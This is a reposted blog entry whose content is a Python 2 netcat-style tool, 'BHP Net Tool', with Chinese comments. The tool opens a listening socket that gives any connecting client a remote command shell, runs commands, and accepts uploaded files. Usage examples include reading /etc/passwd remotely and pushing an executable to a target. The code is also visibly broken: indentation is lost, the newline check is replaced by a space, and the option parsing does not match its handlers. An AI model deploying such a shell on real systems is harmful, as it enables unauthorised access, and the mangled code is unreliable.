replace netcat

#! /usr/bin/env python
#!-*-coding: utf-8 -*-
import sys
import socket
import getopt
import threading
import subprocess


#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0


def client_handler(client_socket):
global upload
global execute
global command

#检查上传文件
if len(upload_destination):

#读取所有的字符并写下目标
file_buffer = ""

#持续读取数据直到没有符合的数据

while True:
data = client_socket.recv(1024)

if not data:
break
else:
file_buffer += data

 
#现在我们接收这些数据并将他们写出来
try:

file_descriptor = open(upload_destination , 'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()

#确认文件已经写出来
client_socket.send('Successfully saved file to %s ' % upload_destination)
except:
client_socket.send('Failed to save to %s ' % upload_destination)


#检查命令执行
if len(execute):

#运行命令
output = run_command(execute)

client_socket.send(output)

 
#如果需要一个命令行shell,那么进入另一个循环
if command:

while True:

#跳出一个窗口
client_socket.send('<BHP:#> ')

#现在接收文件直到发现换行符(enter key)
cmd_buffer = ""
while " " not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)

#返回命令行输出
response = run_command(cmd_buffer)

#返回响应数据
client_socket.send(response)

def server_loop():
global target

#如果没有定义目标,那么监听所有接口
if not len(target):
target = '0.0.0.0'

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)

while True:
client_socket, addr = server.accept()

#分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler, args = (client_socket,))
client_thread.start()

def run_command(command):

#换行
command = command.rstrip()

#运行命令并将输出返回
try:
output = subprocess.check_output(command, stderr = subprocess.STDOUT, shell = True)
except:
output = 'Failed to execute command. '

#将输出发送
return output


def client_sender(buffer):

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
 
#连接目标主机
client.connect((target, port))

if len(buffer):
client.send(buffer)

 
while True:

#现在等待数据回传
recv_len = 1
response = ""

while recv_len:

data = client.recv(4096)
recv_len = len(data)
response+= data

if recv_len < 4096:
break

print response,

#等待更多的输入
buffer = raw_input("")
buffer += " "

#发送出去
client.send(buffer)

except:

print '[*] Exception! Exiting.'

#关闭连接
client.close()

def usage():
print 'BHP Net Tool'
print
print 'Usage: bhnet.py -t target_host -p port'
print '-l --listen - listen on [host]:[port] for incoming connections'
print '-e --execute=file_to_run - execute the given file upon receiving a connection'
print '-c --command - initialize a command shell'
print '-u --upload=destination - upon receiving connection upload a file and write to [destination]'
print
print
print 'Examples: '
print 'bhnet.py -t 192.168.0.1 -p 5555 -l -c'
print 'bhnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe'
print 'bhnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd"'
print 'echo "ABCDEFGHI" | ./bhnet.py -t 192.168.11.12 -p 135'
sys.exit(0)

def main():
global listen
global port
global execute
global command
global upload_destination
global target

if not len(sys.argv[1:]):
usage()

#读取命令行选项
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu', ['help', 'listen', 'execute','target', 'port','command','upload'])
except getopt.GetoptError as err:
print str(err)
usage()

 
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
listen = True
elif o in ('-e', '--execute'):
execute = a
elif o in ('-c', '--commandshell'):
command = True
elif o in ('-u', '--upload'):
upload = a
elif o in ('-t', '--target'):
target = a
elif o in ('-p', '--port'):
port = int(a)
else:
assert False, 'Unhandled Option'

 
#我们时进行监听还是仅从标准输入发送数据?
if not listen and len(target) and port > 0:
 
#从命令行读取内存数据
#这里将阻塞,所以不在向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()

#发送数据
client_sender(buffer)

#开始监听并准备上传文件、执行命令
#放置一个反弹shell
#取决与上面的命令行选项
if listen:
server_loop()

main()


原文地址:https://www.cnblogs.com/Muzeer/p/8127743.html